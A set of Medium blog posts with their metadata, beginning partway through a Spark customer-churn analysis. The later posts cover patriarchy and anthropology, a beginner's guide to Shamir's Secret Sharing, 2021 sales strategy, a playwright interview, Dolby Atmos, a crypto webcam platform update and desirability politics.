accuracy), because the latter metric allows us to adjust for the class imbalance present in the test set and, by extension, in the real world. Due to the lack of striking differences in results between the three models, we choose to further tune a logistic regression model given its greater interpretability. We do this through cross validation, leveraging a GridSearch algorithm to find the best combination of parameters. In particular, we test out the following values: minInfoGain (the minimum information gain for a split to be considered at a tree node): 0, 1 maxDepth (maximum depth of the tree): 5, 10 numTrees (the number of trees): 20, 50 I chose these parameters specifically because they are related to preventing overfitting. The Results After optimization, the optimal hyperparameters are 50 trees, 0 minimum information gain and a maximum depth of 10. We have a model which reaches 73% accuracy on the test set, with an F1 score of 0.72. These two metrics together are very encouraging: with only data about 191 users (in our training set) we are able to efficiently categorize users in these two categories, without drastic difference in performance in predicting one or the other. Interestingly, the performance of our model did not improve after grid search, most likely due to the small size of our dataset. We even assessed the robustness of the model by training and predicting with varying random states, and found that the accuracy of the model was very consistent across them. Looking at feature importance, our earlier intuition was confirmed: both static variables (registration month, geographical location) and behaviors (adding a friend) bear a heavy weight in our predictions. This should encourage Sparkify in logging as much information as possible, as all signals are important when trying to predict churn. Conclusion Spark provides us with a generalizable framework to predict churn. It can handle big data for any company provided it is deployed on a cluster that can handle the computations required. Should this analysis be applied to a larger dataset with more computing power available, I contend even better accuracy/F1 will be reached, for we will be able to conduct a search over a larger hyperparameter space for more users. We could even combine random search over a very large hyperparameter space to yield a subset over which grid search would look for the best combination in order to further speed up computations and improve performance. Finally, to gain more insights into the model we could leverage SHAP values or permutation importance to understand how individual features influence model predictions. With historical data on a small subset of customers, we built a model that can identify users at risk of churning with 73% accuracy. It can be applied somewhat regularly (every day/week depending on the computing infrastructure in place) to the user base, and flag users who may leave the service soon. With this information in mind, Sparkify can take mitigating action, such as sending a personalized message or offering a monthly discount. All of this could be automated and would have a great impact on revenue and growth. Which specific action to take should be determined through A/B testing. Finally, it is important that this model be re-trained regularly as mitigating actions are implemented and the user base grows and evolves, in order to make this model adapt to changing conditions.

https://towardsdatascience.com/predicting-customer-churn-with-spark-4d093907b2dc

['Célestin Hermez']

2019-01-24 18:32:23.464000+00:00

['Spark', 'Big Data', 'Machine Learning', 'Data Science', 'Marketing']

Actually, back when men were hunters (and not farmers), which was all of history up until 10,000…

Actually, back when men were hunters (and not farmers), which was all of history up until 10,000 years ago, humans lived in egalitarian societies. There were no husbands and wives. Sexuality was considered a natural and sacred part of everyday existence — not a commodity to be controlled. Drawing on archaeological evidence and Paleolithic and Neolithic art, Eisler argues that prehistoric societies were relatively free of the domination, exploitation and misogyny that have marked Western societies up to the present. She emphasizes that Christianity’s hostility toward sex and, particularly, women’s sexuality has conditioned men and women to accept coercion and repression. Discussing abusive child-rearing practices, genital mutilation, natural childbirth, abortion, sex education, the men’s movement, AIDS and much else, Eisler outlines a new sexual ethic that aligns pleasure with our capacity to feel and act empathically. Her visionary, passionate scholarship is a revealing psychosexual exploration of love and power relations. You don’t get to actually just pick a time when that changed. It’s been established by anthropologists as having taken place in the very recent past of human history. Cave men did not have patriarchy; they did not even have wives or marriage as we think of it now. “Men were hunters and protectors, and when those roles decreased they became like overprotective parents to compensate.” That isn’t actually what took place. See my quote in my originl comment as to what scientists say happened. “but in a situation where the social programming they received is the norm, it’s not really fair to hold it against them, either. We cannot punish the aggressors and then change the social programming. That’s like teaching a student that 2+2=5 and then punishing them when they don’t answer 4.” So what you’ve just said here is that abusers and rapists can’t be held responsible for their crimes because they were raised in a society that subtely taught them that this was OK???? According to the CDC, 1 in 3 women will be the victims of some kind of sexualized violence, but we can’t be upset about that or complain of it because that is “punching down?” You have some odd beliefs, I must say. Here’s a much better analogy: A bully is beating up and harassing your kid and making his life miserable. The bully comes from a bad home where there isn’t much guidance or love and he is being bullied by someone in his family. You can understand why he might act out and even feel a lot of compassion for him, but that doesn’t excuse him doing that at your child’s expense. Before you start looking for ways to get him some support and help, you are without a doubt going to demand that he stop beating your kid up! Right? Patriarchy allowed civilization to grow and expand exponentially, but it also came at a deep cost to both men and women because it it a social system based in continual domination of others in order to maintain your social position in the hierarchy. “As bell hooks says, “Learning to wear a mask (that word already embedded in the term ‘masculinity’) is the first lesson in patriarchal masculinity that a boy learns. He learns that his core feelings cannot be expressed if they do not conform to the acceptable behaviors sexism defines as male. Asked to give up the true self in order to realize the patriarchal ideal, boys learn self-betrayal early and are rewarded for these acts of soul murder.” (bell hooks, The Will to Change: Men, Masculinity, and Love) In the end, patriarchy gives only a few men access to power in society, and most men some small access to power in relation to women, robbing all men of core aspects of their humanity. This is a raw deal of monumental proportions. I see this as the core source of violence: the physical, emotional, and spiritual brutalization of boys and men.” The World Health Organization and the CDC both say that violence against women (and sexual violence in particular) are at epidemic levels. We can still care about creating a better world for everyone, including men, while at the same time demanding that this situation stop. You are continuing to try to look at societal dynamics through the lens of personal identity and it doesn’t work. Patriarchy is a social system — it’s not the actions of any one man (or woman). It’s a social system that came into being around the globe at about the same time with the advent of agriculture. One of it’s primary features is to restrict social and sexual freedom of women for the purposed of ensuring parentage of heirs (so you could pass on land and animals). Before that, no-one cared much about who the father of a baby was because humans lived in small bands where everyone shared everything; co-raised children, shared food, etc. You don’t need to have a stated desire to oppress women as a feature; but it was a definite by-product — again, as already clearly stated by anthropologists. No one is trying to change social programming in one direction. The things about patriarchy that hurt women also hurt men but in different ways. Domination hierarchy as a social system is incredibly destructive to all, but because women (and minorities)have historically been on a lower part of the hierarchy, it has effected them in more overtly detrimental ways. Until 50 years ago there were plenty of laws on the books that enshrined many of those detrimental things. The ways that men are harmed is often more subtle. For example, the high rate of depression and suicide amongst men is a direct result of the emotional isolation that is demanded of them as a part of the “man box” — the rules about what constitutes acceptable masculinity. Whereas domination systems are ultimately held together by fear, force, and the threat of pain, partnership systems are based on mutuality; there are hierarchies, but rather than hierarchies of domination, these are hierarchies of actualization where power is empowering rather than disempowering and accountability, respect, and benefits flow both ways, rather than just from the bottom up. The goal should be to dismantle the rigid gender rules that patriarchy as a social system demands, and let people be who they are, with what ever blend of traditionally masculine and feminine traits that they actually have. It should be to treat each other with respect and cooperation and not to try to win at others expense so that we can ascend in the social hierarchy. Defending and excusing patriarchy is not the way towards a healthier society.

https://medium.com/@ellesworld/actually-back-when-men-were-hunters-and-not-farmers-which-was-all-of-history-up-until-10-000-2a589f075efc

['Elle Beau']

2019-03-08 17:51:02.260000+00:00

['Feminism', 'Gender Equality', 'Patriarchy', 'Anthropology', 'Sociology']

A beginner’s guide to Shamir’s Secret Sharing

An introduction to this privacy-preserving cryptographic technique and how Keyless is using it to transform the way we share and store private data across the internet. Shamir’s Secret Sharing scheme is an important cryptographic algorithm that allows private information— “secrets” — to be distributed securely amongst an untrusted network. It is one of the cryptographic techniques that Keyless uses to ensure that personal data is kept safe and secure — whether that’s biometric data, private keys or any other personal information that should not be made public. To understand Shamir’s Secret Sharing, first it’s important to understand what secret sharing aims to achieve. What is secret sharing? In cryptography, secret sharing is a way to securely distribute fragments of important private information amongst a distributed network or group, making such schemes particularly useful for safeguarding highly sensitive information like private cryptographic keys or biometric data. Secret sharing works by splitting private information into smaller pieces — or shares — and then distributing those shares amongst a group or network. Each individual share is useless on its own but when all the shares are together, they reconstruct an original secret. Imagine that you had one million dollars that you kept in a bank account, and in order to access this bank account you used to the password: secret. You could split it up and distribute a letter each to six trusted shareholders. s_____, _e____, __c___, ___r__, ____e_, _____t The only information that each shareholder would have is the letter that they hold, essentially making their individual shares useless. Secret sharing schemes can also be hierarchical depending on how the shares are distributed. This allows the secret owner to distribute shares based on how much the shareholders are trusted. Let’s say you wanted to safely store your private key that you used to access your cryptocurrency wallet. Private keys are used to send cryptocurrency from one address to another. They consist of a sequence of random and unique numbers and are given to users at the time they open a wallet. Firstly, you wouldn’t want to give anyone the entire sequence, so say you split the key into eight shares. Then you distribute copies of those shares between your closest friends and trusted family members. You may give eight shares to each of your parents, who you trust without a doubt, four each to your brother your sister, who you trust for the most part, and one each to eight of your friends, who you somewhat trust. This hierarchical distribution scheme allows for secret owners to distribute shares based on how much they trust their shareholders. But what about when there is zero-trust between the secret owner and the shareholders? In most schemes an added encryption layer is implemented to ensure additional privacy and security, allowing the shares to be distributed amongst a network or group that are unknown to the secret owner. Let’s say that each shareholder only holds what seems to be random numbers: 19_____, _5____, __3___, ___18__, ____5_,_____20 With encryption, when all the separate shares (numbers) are together, they still require a decrypting key to reveal the secret (letters) that they represent in the alphabet. This important step protects private information from organized attacks; even if each shareholder were to collude to recreate the original secret, they wouldn’t be able to learn anything about that secret, as the original secret is encrypted. Shamir’s Secret Sharing Scheme One of the challenges of distributing shares is that they can often be lost or compromised. Shareholders can die, lose their shares or have them stolen. At other times, shareholders themselves turn rogue. When many different shares are distributed, it’s also impractical and inefficient to require all shares to reconstruct the secret. Shamir’s Secret Sharing scheme is an algorithm that was first proposed in 1979 by the renowned Israeli cryptographer Adi Shamir. It allows for information to be broken into many shares, while only requiring a fraction of those shares to reconstruct the original secret. This means that, instead of requiring all shares to reconstruct the original secret, Shamir’s scheme requires a minimum number of shares — this minimum is referred to as the threshold. One of the benefits of Shamir’s algorithm is that it is flexible and extensible — meaning that the secret owner could add, amend or remove shares at anytime if they wanted to, without modifying the original secret. The threshold needs to be met in order to reconstruct the secret. If there is anything less than the threshold, the secret cannot be reconstructed, thus making Shamir’s Secret Sharing secure against an adversary — a malicious attacker — that has unlimited computational power; in cryptography this is what we call information theoretically secure. Information theoretically secure simply means that not even an adversary with unlimited computational power would be able to break the encrypted secret. For example: Using the same example from earlier, say that the threshold to reveal the password is 3: When three shares are presented: 19_____, _5____, __3___ = 19,5,3,18,5,20 = secret When two shares are presented: 19_____, _5____ = 19_____, _5____ It’s important to note that with Shamir’s algorithm, shareholders never find out what the other encrypted shares are in a secret. Only the secret owner has access to the entire set of decrypted shares once the secret is reconstructed. How Shamir’s Secret Sharing works Shamir’s method for secret sharing relies on polynomial interpolation, which is an algebraic method of estimating unknown values in a gap between two known data points — without needing to know anything about what is on either side of those points. We will go into further detail on polynomial interpolation in another blog piece, but for the purpose of explaining how SSS works, you can think of it like this: SSS encodes a “secret” into a polynomial, then splits it into pieces and distributes it It’s possible to use polynomial interpolation to efficiently reconstruct that secret without requiring every single share. Instead only the threshold is needed, which provides enough points of data to correctly estimate the values between gaps in the encrypted shares. Why Shamir’s Secret Sharing is essential to maintaining data privacy Shamir’s Secret Sharing makes it possible for multiple parties who do not know each other to store private information. In Keyless’s case, this would be for securely storing user secrets — whether that’s personal information or private cryptographic keys — across our distributed network. Because Shamir’s Secret Sharing scheme is information theoretically secure, even an attacker with unlimited computational power cannot break the decrypted share to access the data without having enough shares to meet the threshold — or minimum number of shares. When combined with other cryptographic techniques, like secure multiparty computation and zero-knowledge cryptography, SSS offers an extra layer of security, making data sharing and storage secure, private, and resilient to accidental data loss and external attacks. How Keyless uses Shamir’s scheme to keep your biometric data private Thanks to this algorithm, we can safely distribute secret data in a way that is efficient, secure and private. Instead of storing sensitive data on centralized servers, Keyless is able to split encrypted secrets into pieces, distributing those randomly to nodes across a zero-trust network. Imagine that you write down a secret message on a piece of paper. The message that you wrote uses whole words to substitute letters, but only you know that. For example, PIG stands for P. You place the piece of paper into an envelope, and then seal it and cut it into twenty different pieces, and give those pieces out to random strangers at Shibuya crossing in Tokyo — the busiest pedestrian crossing in the world. Since the encrypted data is split into ‘shares’ and randomly assigned to Keyless nodes, there is no longer a centralized storage system that adversaries — also known as hackers or bad players — can target. Someone who wanted to find those pieces of the envelope and use them illegally, wouldn’t know where to start looking. To reconstruct the message, a minimum number of shares need to be collected from nodes in our network. So in order to compromise the user’s “secrets”, someone would need to take over enough nodes in the network to acquire the minimum number of shares to meet the threshold. Despite the odds, that person would need to find at least half of people carrying different pieces of the envelope. They would then need to try to steal the pieces from these five strangers — who may have their own weapons to fight off the attacker. The last line of defense is that the shares are encrypted, so even if an attacker compromises all the nodes of the network, it can’t decrypt the shares because they are encrypted with a key that is only stored within the user’s device. Imagine, the attacker finally managed to steal five of those pieces of the envelope you wrote your message in. Now, he can finally learn what the message is. However, when he goes to open the pieces, he finds a bunch of random words, and he in unable to make sense of it. The only person that knows how to decrypt the message is the person who created it — you. The potential of secret sharing As our physical and digital worlds continue to converge and blend together, SSS, combined with zero-knowledge encryption and secure multiparty computation, will most likely be used to decentralize risk across all industries, while enabling users to confidently share private data in a way that is secure and empowering. Thinking beyond biometric authentication, Keyless is using SSS to build platforms that allow us to securely manage our private cryptographic keys online, as well as our entire digital identities. These technologies will help transform the way we interact with the internet and the world around us, giving unmatched power and control back to the user.

https://medium.com/@keylesstech/a-beginners-guide-to-shamir-s-secret-sharing-e864efbf3648

['Keyless Technologies']

2020-03-07 15:35:01.315000+00:00

['Personal Data', 'Security', 'Cryptography', 'Privacy', 'Control']

How to create a sales strategy for 2021?

2020 has been a horrendous year, in many ways. A global pandemic has swept the world, causing death, disruption and major economic upset. But there is hope. There is always hope. Even though it’s not going away anytime soon, hope is springing from progress with vaccines, and from countries around the world strengthening their response and preparedness in various ways. It will take time for the world to recover from this. As the virus gets under control, and as vaccines become readily available, global economies should recover. Planning a sales strategy for 2021 is perhaps not as challenging now as it could have been, thinking back only a few months ago. Ongoing ‘new normal’ for 2021 Firstly, you need to factor Covid-19 into the picture. It isn’t going anywhere quite yet, and that does mean countries may go in and out of lockdowns. Or have other restrictions imposed to keep everyone safe, which may ebb and flow depending on the infection rate and state of national health services. For sales teams, this almost certainly means that face-to-face meetings aren’t advisable. Employers should do all they can to minimize risk for staff in this challenging time. And that should mean working from home (WFH) for the duration of this global pandemic. Whether a team was in the field, inbound or outbound, everyone should be working from home, whenever possible. You need to ensure teams have the best spaces in which to work, alongside the most effective technology to work from home. As part of this ongoing adjustments, companies need to ensure they’re supporting salespeople. This means helping them keep to a routine, and managing them, without micromanaging. Ensure if they need extra support, or time off, they get it. These are challenging times, and no one is going to work at their best if they feel like managers and companies don’t care. However, as you might be asking: How does this influence creating a sales strategy? How to create a sales strategy within this new normal? Understanding the above, the reality of the world companies are now operating within is important. You can’t plan for 2021 thinking it’s ‘business as usual.’ Life and work isn’t really going to get back to normal until there is a safe, scaleable, readily available vaccine, with high enough adoption rates, to get this deadly virus under control. Consequently, this pandemic and lifestyle restrictions it causes, alongside the economic damage, needs to be factored into the cost of doing business. At the same time, companies need to hit sales targets in 2021. How are B2B sales leaders going to achieve next year’s goals, under these strange new circumstances? #1: Set realistic goals When it comes to achieving goals in 2021, you first need to ensure they’re realistic. Very few companies and sales teams have hit their target this year. That’s understandable. In many cases it would be remarkable if sales teams had been able to continue as normal, and every customer and prospect equally carried on as if nothing had happened. So for next year, targets need to factor in the economy and overall global environment. Make the targets realistic and achievable. In order to set these, look at what worked in 2020, and what didn’t, and create a strategy around the data and relationships in your sales pipeline. #2: Assess what worked in 2020 Look at the data. Look at your customer relationships, partnerships, your position in the market, and state of the sales pipeline. Has everything picked up, recovered somewhat, since this pandemic started? If the answer is yes, then you must be doing something right. Assuming the market for your product or service hasn’t vanished, then focus on what you did to drive forward a recovery. Or if one or more markets that you serve have really struggled, have you been able to pivot? Switching directions, strategies, markets and even launching new products and services has been a smart way for companies to survive this pandemic. Assuming you’ve survived 2020, companies can look at how to thrive under new circumstances in 2021. Assessing what’s worked, and what hasn’t, is the best way to formulate a plan for the year ahead. Do this at a higher level, and then ensure your whole sales team has an input, and has a plan for how they will bring new clients in next year, and increase spending amongst current customers. #3: Go fully remote (and use video) Continuing to attempt face-to-face sales meetings during a deadly pandemic isn’t safe. As many sales leaders as possible should have already, or should be, encouraging teams to work remotely, and ideally from home. Switching to remote helps sales teams hit targets, with 64% of sales leaders hitting or exceeding target that went remote, according to HubSpot. When it comes to sales meetings/calls, the most effective technology is video platforms, such as CrankWheel. 74% of sales leaders found that video, whether remote screen-sharing or Instant Demos, helped them hit target. Sales teams that underperformed rarely used video, or didn’t use it effectively. Video is known for being 34x more effective than phone or email, as a way of engaging with prospects. #4: Implement automation Automating as much of the sales process increases conversion rates. It reduces time that you need to spend on tasks that can be scheduled. Sales teams that use meeting schedule tools, quote generation, and automated content or emails, are 61% more effective than those who don’t. #5: Have sales enablement materials ready Sales enablement materials, such as case studies, presentations, and proposal documents are equally essential for success. Yet again, 65% of organizations that hit or exceeded targets either had a person dedicated to this function, or worked with an external provider to create materials. Planning for 2021 is not the same as making plans for a normal new year starting. We are all living through challenging and abnormal times. The economy is weaker than it has been in generations. Recovery will happen, but slowly, and haphazard, depending on sectors and countries. Sales provide the right tools, targets and strategies to support their teams effectively, and push forward to hit targets in 2021. CrankWheel: Cut your sales cycle in half with instant screen-sharing. Go from two or more sales calls to one: Become a one call close sales team.

https://medium.com/@joisig/how-to-create-a-sales-strategy-for-2021-15c910a6da58

['Jói Sigurðsson']

2020-12-04 10:32:17.929000+00:00

['B2B', 'Sales']

Featured Member — Mohammad Yaghoubi

Tell us a bit about yourself and how you got your start writing plays. Born and raised in Iran, I grew up in a small town named Langroud, in the North of Iran. Our family’s financial situation wasn’t great, so I couldn’t buy books or magazines, so a friend of mine would lend me books and another friend of mine gave me the magazines that his parents bought that he never read. After I read those magazines and books, I would tell their stories to my friends. Time went by quickly. In high school, I wrote some short stories. My dream was to become a novelist back then. When I finished high school, I went to Tehran (the capital city), far from my family, and started to study law, just so my family could get off my back. A few months after I started studying law, I noticed that there was a theatre group in the university, so I joined the group and didn’t tell anybody in my family about this, not even my brother who was studying law like me in the same faculty. In that group, I experienced acting for the first time in my life. At the same time, I started reading plays; let’s say I devoured them. Around six months later, I wrote my first play titled Return and gave it to my friends in that theatre group, and all of them liked it. I decided to finish studying law so that my family was assured that I was “settled down” and would become a lawyer in the future. So four years studying law were enough time for me to learn theatre simultaneously. During this time, I was being trained in acting and directing classes instructed by two of the most influential theatre practitioners’ Hamid Samandarian’ and ‘Mahin Oskouei.’ During these four years, I changed my goal to be a novelist. I wrote three plays during this time, and my friends were the only ones who read them. I was still encouraged to write more plays, but I was not confident enough to give them to directors and ask them to read. Everything I know today about writing drama stems from those acting and directing classes and reading numerous novels and plays while watching a lot of theatres and movies. I attended only acting and directing classes instead of playwriting classes because I didn’t have that much money to attend more classes. So I thought to myself: “Which classes should I attend to help with my writing with the money I have in my pocket?” I thought: “Well, I can learn playwriting from reading plays and books on playwriting, but I can’t learn acting from just reading books. I must act.” Attending acting classes taught me how to write for an actor. I never attended acting classes to become an actor. Though I wanted to be able to direct my own work, so directing was in my backpack- and I always tell my students in my writing classes to get trained as an actor and, secondly, take directing lessons. I know that directing your own work isn’t really a thing in North America. In North America, the writer and the director are different people. It’s quite common to see the playwright acting in their own play, which I find quite interesting, but in Iran, which is pretty much influenced by European theatre, such a thing is not common. In Iran and Europe, writers direct their own work, whether in theatre or cinema. The main reason I believe a writer must direct their own work is so that they don’t have to run after producers and directors to take a look at their play to see if they want to put it on stage or not. I believe playwrights shouldn’t wait to be discovered; they’d better stage their play and turn their dream into reality. In the meantime, I experienced directing a play, The Glass Menagerie, by Tennessee Williams, as a final project for the directing class. It was a wonderful experience because I learned how to work with actors. However, I had a problem after a private showing of it. As the director, I told my actors that they could hug each other (the scene where Tom comes home crying and Laura hugs him) and that they can smoke. In Iran, a man and a woman are not allowed to touch each other if they are not married, and even they are married, touching each other on stage is not allowed and also, no smoking is allowed in the months Ramadan. After all, it was a private showing, so I thought breaking the rules wouldn’t be an issue. However, there were auditions in the same theatre for a TV show, so a bunch of hardcore conservatives saw us and wrote about our play in the newspapers. The police came to our apartment to arrest me when I was in my friend’s house. Then they raided our house many time early in the mornings in hoping to find me. I knew that they didn’t have a formal order by a judge. So I stayed at my friends’ houses for two months waiting to be summoned legally and officially. It’s a long story, and I wanted to say that this happening shaped my thought about theatre as an artistic way of action for freedom of speech. Two years later, I staged a play by Marsha Norman, Night Mother; faced again with many problems caused by the censorship office, and it is another long story. In the meantime, I wrote my play Winter of 88, which made me well-known when it went on stage a year after I wrote it. It was the first time I was confident to introduce myself as a playwright and director in a theatre festival. The play won writing and directing awards and two actors in my project won acting awards. This was around February of 1998. I was 29 back then. After that, I wrote another play, Dance of Torn Papers, which also won writing and directing and acting awards, and so on and so forth.

https://medium.com/@pgc/featured-member-mohammad-yaghoubi-4283765106b0

['Playwrights Guild Of Canada']

2021-12-31 17:09:48.658000+00:00

['Writing', 'Theatre', 'Art', 'Playwrights', 'Playwriting']

The Era Of Dolby Atmos And DTS:X

So 360 degree virtual reality movies aren’t quite mainstream yet. I mean who wants to strap on a headset every time there’s another disappointing Justice League movie. But at least 360 degree surround sound has been a mainstay of not just movie theaters but home theaters as well. This is where a typical setup would be a subwoofer for bass and 5 or 7 speakers surrounding the speaker to help the sound surround the viewer. If you want the perfect Home Theater Installation Atlanta GA for your home, feel free to contact RMS Installs. Traditionally the way this works is depending on the surround audio encoding scheme used by the publisher. A device called the receiver would decode and playback discrete audio tracks for each speaker. That would correspond to the action on the screen assuming a high quality mix. So the idea is that if you are looking at the scene featuring a conversation, the voices will be mostly coming out of the center channel while the satellite speakers behind you will focus on ambient background noise. This one track for one speaker paradigm has been powering surround sound systems for a long time. To be honest, it’s worked pretty well. Dolby Atmos and DTS: X are new surround sound technologies that don’t rely on traditional speaker channels. How do they work, and what makes them special? But we’ve increasingly seen a different method of surround sound delivery both in theaters and on Blu-ray. That’s actually based around encoding sound objects of channels. The principle behind Dolby Atmos and DTS:X. What Makes Them Special? But hold on a minute. Sounds as objects? Okay so it means that’s instead of each audio track corresponding to only one speaker, the tracks are encoded with data that indicate some location in space instead of a specific channel. So let’s say you’re watching a scene where a plane is flying overhead toward you. Instead of hearing the audio coming from one specific speaker in a single direction, you’ll literally feel the sound of the airplane in real-time, from the surround speakers. It will feel as if the plane is really flying over you. Traditional surround sounds had no way of knowing much more than the distance from your couch about the physical placement of the speaker in your room. So results can be very inconsistent from setup to setup. Dolby Atmos supports up to 118 objects and DTS X supports an unlimited number of objects. Both these technologies can work well with your 5.1 or 7.1 speaker setups. With Atmos boasting support for up to 34 speakers for home theater. Now that sounds excessive and it probably is, but more speakers will enhance the sense of space and realism. Now for those of you who are at the top to install speakers everywhere you can find an empty spot on your wall or ceiling. There are number of upward firing speakers that reflect off of your ceiling to stimulate a real speaker above you. You can even upgrade your existing power speakers just by plopping one designed to fire upward on top of them. Is Dolby Atmos Compatible With Everything? Of course, like with any new standard, not everything is Atmos or DTS X capable. You’ll need a compatible receiver. Though the good news is that most receivers support both. Fortunately the technology is becoming more and more common on Blu-ray streaming services and even gaming consoles. So maybe at some point, Dolby Atmos will be featured on every video and audio that you come across. To avail the best installation services of home theater for your home, contact RMS Installs in Atlanta GA right away. They are the best when it comes to home theater and sound bar installation.

https://medium.com/@rmsinstalls/the-era-of-dolby-atmos-and-dts-x-33b333a2a595

['Rms Installs']

2020-03-17 12:20:58.777000+00:00

['Home Theater Installation', 'Dolby Atmos', 'Home Improvement', 'Rms', 'Home Theater']

Weekly update #5

Exchanges — Currently we are waiting for Cryptopia, and we hope that they will process our request for listing as soon as possible. We are considering Livecoin exchange as an option for listing as well. We would like to know your opinion about listing on Livecoin. At the moment LIVE is available on Openledger and Forkdelta. Beta version — Everything goes well. It is constantly being developed and improved. Soon, the first beta version of the platform will be moved to a new server with a new domain. The platform is ready for uninterrupted broadcasts via the modified WebRTC, the first version of the beta will have private anonymous chats between models and users, a private chat, payments with LIVE tokens, as well as the direct deposit and withdraw to the platform account. Legal side — Registration in Cyprus is in the process. The necessary documents have been submitted to the Cyprus register. Next step after the establishment of the Cyprus company will be the acquisition of a statement on compliance with the accounting requirements of 18 U.S.C. 2257. Only after this label, models will be allowed to appear online. Important Note — Since users will be able to pay models only in LIVE tokens, which will be purchased on exchanges in the first stages, we urgently need to get new listings before the release of the beta for token availability on the market and the required trading volume. Also, we want to note that the beta version, despite the work that is being done, is still a raw product and will be constantly updated starting from the design and up to the functional side of the platform. We would like to remind you that the final release of the finished product is planned at the end of this year. However, as we planned, after obtaining the permission for the Cyprus company, we will begin the first broadcasts. Users will be able to spend interesting time on the platform, and the models will be able to earn LIVE while we continue to develop and will promote the platform and attract new users and models. Beta version announcement is planned after LIVE will be added to the new exchange (Cryptopia or Livecoin), since we do not see the point of doing this without exchanges and models.

https://medium.com/live-stars/weekly-update-5-fd91ddcd7d68

['Live Stars']

2018-05-04 11:17:14.303000+00:00

['Blockchain', 'Cryptocurrency', 'Ethereum', 'Weeklyupdate', 'Bitcoin']

Desirability politics and why I’m no longer talking about it (for now)

Recently, I saw a TikTok video cross my Twitter timeline that once again ignited the never-ending desirability debate in the comment section. The curtain of light-hearted comedic jest that shrouded this short clip reminded me of the first time I became conscious of Western standards of desirability and how I entirely missed the mark. It was June 2010 and I had recently moved from the sunny south of the USA (Duluth, Georgia) to the ‘garden of England’ (Kent). It was my first day at my new primary school (I was still getting used to saying that), and upon hearing that I was ‘American’ all the questions from my eager Disney-obsessed classmates came flooding in. At 10 years old, like most kids, I was bright-eyed, bushy-tailed and relatively carefree. Dark-skinned and quite tall for my age, with a gap-toothed smile, an extended widow’s peak, and a fresh tex-lax that somehow never fully tamed my tightly coiled curls, I definitely didn’t fit the ‘pretty’ bill. I was now the tallest girl in my class, and as pre-pubescent 10 year-olds tend to do, I was instantly ‘matched’ with the tallest boy in my class. As I was shown to my new cubby, I saw one boy point over at me and overheard him jokingly suggest to my taller-than-average male counterpart that I could be his new girlfriend. To this, 10-year old Jake retched and then repeatedly fake-vomited which of course, aroused a chorus of laughter from the others. I remember feeling a pang of embarrassment, but growing up in a strict Nigerian household, Jake’s response hadn’t mattered. I wasn’t even allowed to watch tv shows that had teenage romance as the primary storyline (y’all remember the Hannah Montana love triangle? yeah, I don’t), so boys weren’t even on my radar. Yet, this first acknowledgment that I was highly undesirable planted a small seed in my mind that would grow to weed out my self-esteem for a number of years to come. But we were 10 years old, right? No harm, no foul. I admit that as I share the above story, I realise that I am approaching the issue of desirability from a singular place, specifically that of a heterosexual dark-skinned woman. Thus my positions on this topic cannot be all-encompassing. Nevertheless, I share this anecdote to set the precedence of where not only I but many others frustrated by discussions surrounding the politics of desirability and ‘preferences’ are coming from. When we talk about the everyday realities of desirability politics, which often entail memories of being side-lined or ridiculed from a young age for features that we were born with, it’s not a distant second-hand experience which we refer to. I do not blame Jake or anyone else for my childhood insecurities. Neither do I believe that everyone must find 19-year old (let alone 10-year old) me attractive. But almost 10 years later, after a mouth full of metal for 15 months and many years of learning to love my face and hairline, several discussions around the light-skin vs brown-skin vs dark-skin paradigm, hijacked natural hair movements, and continuous examples of colourism in daily media, honestly y’all, I’m tired. “…attempts at redefining meanings of attractiveness and desirability are constantly over-ridden and at times spear-headed by those who more often than not benefit from the historical benchmarks of ‘pretty privilege’.” According to everydayfeminism.com’s 2016 article entitled ‘What are the Politics of Desirability’, “desirability politics deal with the questions of how social ideals for attractiveness can have a pull, and how one can also pull back. It’s the idea that desire is political — both affected by and simultaneously shaping systems of power and oppression.” While I do not agree with all of the views shared in the article and I admit that the semantics of the political world is not a subject that I am well-versed in, one thing I do understand about politics is that it is constantly evolving. For something to be political, it must be current. Although not a perfect comparison, but a parallel one, let’s consider issues of race in the United States. Race politics have evolved from issues of segregation in the 50s and 60s to mass-incarceration, to police brutality and BlackLivesMatter in most recent years. Many of these societal issues overlap one another, exist simultaneously and persist still today. Change hasn’t been made in leaps and bounds, but some progressive steps have been taken, even if only in terms of raising awareness. Yet, when it comes to desirability, the conversation is stagnant. Herein lies the first issue. The same themes of colourism that existed half a century ago are the same problematic motifs we see in popular culture today. Moreover, attempts at redefining meanings of attractiveness and desirability are constantly over-ridden and at times spear-headed by those who more often than not benefit from the historical benchmarks of ‘pretty privilege’ (issue #2). We skip around and around in circles about the often problematic nature of preferences, the importance of representation, the tensions of the ‘one-drop rule’ and why healthy hair is ‘good hair’ regardless of texture, but to minimal avail. Perhaps it’s the makeup of my own social circles, or the algorithms of my Twitter and Youtube feeds which constantly generate the same debates about desirability. Maybe some of us continue to engage in topics of discussion like these in the hope that one day we will be able to effect evangelical-type change in our uninformed neighbour. However, the truth is that just as you may lead a horse to water but cannot make it drink, you cannot force others to acknowledge problems where they see and enjoy privilege. Desirability politics are heavily at play in our daily lives and many benefit from it. As much as we attempt to maintain an attitude that says that we alone define ourselves and our preferences, the fact is that we are heavily informed by our surroundings and the content we consume daily. Until we are ready to interrogate our so-called ‘preferences’ and ‘tastes’, the modes of media and social environments that inform them, we will remain on the (not-so-)merry-go-round of desirability politics. “…the truth is that just as you may lead a horse to water but cannot make it drink, you cannot force others to acknowledge problems where they see and enjoy privilege.” Introspection is a great word. But guess what’s better? Encouraging introspective attitudes and retiring the accusatory tones which incite more animosity than understanding. Unfortunately, I continually encounter individuals who feel that their particular walk of life makes them a singularity to this rule. They regard their way of seeing the world as being autonomous and ‘unique’, constituting an ‘individual identity’. However, our preferences, likes and dislikes are not developed in a vacuum. To this end, I believe that just because you supposedly do not ‘follow the crowd’ doesn’t mean that you are any different to the masses. If approval from your social circle is enough to suppress any accountability you may have in contributing negatively to desirability politics, then that is part of the problem. I am not saying that a couple of conversations in the group chat or a purge of your following list on Twitter or Instagram is going to fix all of the intricate issues of desirability. What I am saying however is that the change borne from introspection is a start and a necessary one. So, what exactly am I proposing? Let’s stop debating about desirability and continually recycling the same rag’n’bone arguments and blanket statements. Let’s put a pause on the kitchen debates, podcasts and panels surrounding desirability and its damage. In my experience, very few ever leave these forums encouraged or with heightened awareness or sensibility. If anything, these discussions encourage more hostility between the varying groups of thought. Instead, let us all take some time to interrogate why we believe what we believe, the influences that surround us and the ways in which they shape our understanding of desirability. It is only then that we may begin to have honest and effective conversations about desirability, being able to challenge others about their beliefs only after we have challenged ourselves.

https://mhannahoteju.medium.com/desirability-politics-and-why-im-no-longer-talking-about-it-for-now-8f47218aa84f

['Mary-Hannah Oteju']

